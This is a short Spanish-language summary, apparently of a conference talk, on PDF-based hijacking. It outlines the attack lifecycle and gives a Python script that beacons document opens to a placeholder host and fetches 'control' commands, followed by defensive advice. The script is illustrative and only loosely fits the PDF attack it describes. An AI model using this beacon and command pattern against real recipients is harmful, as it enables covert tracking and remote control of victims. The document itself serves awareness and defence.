Hijacking via PDF

Contexto del escenario
La investigación evalúa cómo un atacante puede transformar un documento aparentemente inocuo una herramienta de **secuestro vía PDF**, explotando la confianza del lector y la flexibilidad de los visores modernos. Este material resume la narrativa presentada en ENISE, abordando tanto la perspectiva ofensiva como las estrategias defensivas. El concepto Secuestro via PDF describe la manipulación maliciosa de documentos para controlar el entorno del lector.

Ciclo de operación
1. Reconocimiento digital de víctimas y canales de distribución corporativos.
2. Preparación del cargador PDF con enlaces remotos y automatizaciones controladas.
3. Ejecución del envío a través de campañas dirigidas con seguimiento de apertura.
4. Persistencia mediante repetición de la carga cuando el usuario vuelve a abrir el archivo.

Script de telemetría y control

```
import requests

URL_ESTADISTICAS = "https://telemetria.enise.example/api/abierto"
URL_CONTROL = "https://telemetria.enise.example/api/accion"

# Fase 1: Validar la conectividad del objetivo antes de entregar el exploit
respuesta_get = requests.get(URL_ESTADISTICAS, timeout=5)
respuesta_get.raise_for_status()

# Fase 2: Registrar la apertura del PDF con metadatos enriquecidos
metadatos = {"documento": "Secuestro via PDF", "fase": "apertura"}
requests.post(URL_ESTADISTICAS, json=metadatos, timeout=5)

# Fase 3: Sincronizar comandos de seguimiento y priorizar objetivos sensibles
instrucciones = {"documento": "Secuestro via PDF", "accion": "sincronizar"}
respuesta_post = requests.post(URL_CONTROL, json=instrucciones, timeout=5)
respuesta_post.raise_for_status()

# Fase 4: Ajustar la carga útil según la respuesta del equipo azul
if respuesta_post.json().get("proximo_paso") == "reforzar":
    print("Actualizar macros incrustadas y volver a distribuir.")
```

Defensa y contención
• Implementar inspección profunda que identifique documentos con telemetría remota.
• Forzar aperturas en entornos aislados con bloqueo de tráfico saliente desconocido.
• Configurar detección basada en comportamiento que alerte sobre patrones de exfiltración.

Conclusiones clave
El secuestro vía PDF se sostiene tanto por la ingeniería social como por el abuso de funcionalidades legítimas del formato. Combinar visibilidad de red, endurecimiento de visores y capacitación enfocada reduce de forma significativa la superficie de ataque.